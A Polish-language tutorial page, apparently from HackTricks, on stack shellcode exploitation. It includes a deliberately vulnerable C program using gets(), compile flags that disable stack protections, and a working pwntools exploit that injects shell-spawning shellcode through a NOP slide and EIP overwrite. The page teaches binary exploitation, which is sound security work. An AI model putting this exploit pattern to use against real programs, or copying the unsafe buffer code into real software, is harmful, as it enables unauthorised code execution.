92 lines
5.2 KiB
Markdown

# Stack Shellcode
{{#include ../../../banners/hacktricks-training.md}}
## Podstawowe informacje
**Stack shellcode** to technika używana w **binary exploitation**, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Instruction Pointer (IP)** lub **Extended Instruction Pointer (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonywania dowolnych poleceń na docelowym systemie. Oto podział procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie z użyciem **pwntools**.
### Przykład C: Podatny program
Zacznijmy od prostego przykładu podatnego programu w C:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji `gets()`.
### Kompilacja
Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować podatne środowisko), możesz użyć następującego polecenia:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Wyłącza ochronę stosu.
- `-z execstack`: Umożliwia wykonanie kodu na stosie, co jest konieczne do uruchomienia shellcode przechowywanego na stosie.
- `-no-pie`: Wyłącza Position Independent Executable, co ułatwia przewidywanie adresu pamięci, w którym będzie znajdować się nasz shellcode.
- `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w rozwoju exploitów.
### Python Exploit using Pwntools
Oto jak można napisać exploit w Pythonie używając **pwntools** do przeprowadzenia ataku **ret2shellcode**:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
Ten skrypt konstruuje ładunek składający się z **NOP slide**, **shellcode** i następnie nadpisuje **EIP** adresem wskazującym na NOP slide, zapewniając, że shellcode zostanie wykonany.
**NOP slide** (`asm('nop')`) jest używany do zwiększenia szansy, że wykonanie "zsunie się" do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument `p32()` do początkowego adresu twojego bufora plus offset, aby trafić w NOP slide.
## Ochrony
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie będzie zawsze taki sam i będziesz potrzebować jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotny EIP nigdy nie będzie śledzony.
- Ochrona **NX** (no-execute) [**stack**](../../common-binary-protections-and-bypasses/no-exec-nx.md) uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.
## Inne przykłady i odniesienia
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR z wyciekiem adresu stosu, zapisz shellcode i przeskocz do niego
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR z wyciekiem stosu, zapisz shellcode i przeskocz do niego
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR z wyciekiem stosu, porównanie, aby zapobiec wywołaniu exit(), nadpisz zmienną wartością i zapisz shellcode oraz przeskocz do niego
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, brak ASLR, gadżet ROP, aby uczynić stos wykonywalnym i przeskoczyć do shellcode w stosie
{{#include ../../../banners/hacktricks-training.md}}